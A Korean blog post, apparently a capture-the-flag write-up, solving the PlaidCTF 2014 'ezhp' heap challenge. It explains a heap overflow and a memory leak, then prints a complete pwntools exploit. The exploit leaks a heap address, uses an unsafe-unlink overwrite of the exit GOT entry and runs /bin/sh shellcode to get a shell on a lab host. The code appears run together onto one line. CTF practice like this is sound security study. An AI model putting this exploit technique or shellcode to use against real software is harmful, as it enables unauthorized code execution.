-
PlaidCTF 2014 EZHPPwnable/CTF 2017. 3. 10. 17:29
문제 푸는방식은 unsafe_unlink 방법으로 풀 수 있고, 문제 메뉴 자체는 Codegate 2017 messenger 문제랑 똑같고 이런 메뉴를 선택하고 그런 문제에서는 수정하는 부분이 오버플로우 취약점이 있고, 출력하는 부분에서 메모리 릭 취약점이있다.
ADD, REMOVE 는 커스텀 MALLOC, 커스텀 FREE 로 되어있고, 위의 사진이 오버플로우 취약점이 있는 수정하는 부분이다.
보면 SIZE를 입력받는데 SIZE 제한을 두지않아 취약점이 생긴다.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566from pwn import *import hexdumpp=remote("192.168.146.141",9001)exit=0x0804a010shellcode="\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"def add_note(size):p.recvuntil('Please choose an option.\n')p.sendline("1")p.recvuntil('Please give me a size.\n')p.sendline(str(size))def remove_note(index):p.recvuntil('Please choose an option.\n')p.sendline("2")print p.recvuntil('\n')p.sendline(str(index))def change_note(index,size,data):p.recvuntil('Please choose an option.\n')p.sendline("3")p.recvuntil('Please give me an id.\n')p.sendline(str(index))print p.recvuntil('\n')p.sendline(str(size))print p.recvuntil('\n')p.sendline(str(data))def print_note(index):global Heap_Addressp.recvuntil('Please choose an option.\n')p.sendline("4")p.recvuntil('\n')p.sendline(str(index))Heap_Address=p.recv(90)[64:68]hexdump.hexdump(Heap_Address)Heap_Address = u32(Heap_Address)print "LEAK : " + hex(Heap_Address)def quit_note():p.recvuntil('Please choose an option.\n')p.sendline('\n')LEAK="A"*60+"BBB"add_note(56) #chunk 0add_note(256) #chunk 1add_note(56) #chunk 2change_note(0,96,LEAK)print_note(0)print "[*] Heap Address Leak :)"payload2="A"*60 + p32(0x49) + p32(Heap_Address+0xc) + p32(exit-0x4)change_note(0,115,payload2)#Heap_shellcode=asm("mov eax, " + hex(Heap_Address+0xc),arch="i386",os="linux")#Heap_shellcode=asm("call eax",arch="i386",os="linux")#Explot=shellcode + "\x90"*40 + Heap_shellcode # Two Exploitchange_note(2,256,shellcode)remove_note(1)quit_note()p.interactive()cs 처음 익스짤떄 코드게이트 Messegner 식으로 점프 시키는 쉘코드를 짜고 할려했는데 한번 안하고 해볼까 해서 해봣는데 됫다.
그리고 순서를 틀려서 세그먼트 오류가 떠가지고 막혀가면서 삽질을 하다가 순서를 제대로 맞추니까 바로 쉘이 따졋다.
플래그는 검색을 해서 실제 대회할 떄 썻던 플래그를 가져왔다.
'Pwnable > CTF' 카테고리의 다른 글
BKPCTF cookbook (0) 2017.03.31 PlaidCTF 2014 kappa (0) 2017.03.14 codegate 2017 messenger (1) 2017.03.08 WITHCON malloc (0) 2017.03.03 Codegate 2017 baby_pwn (0) 2017.02.20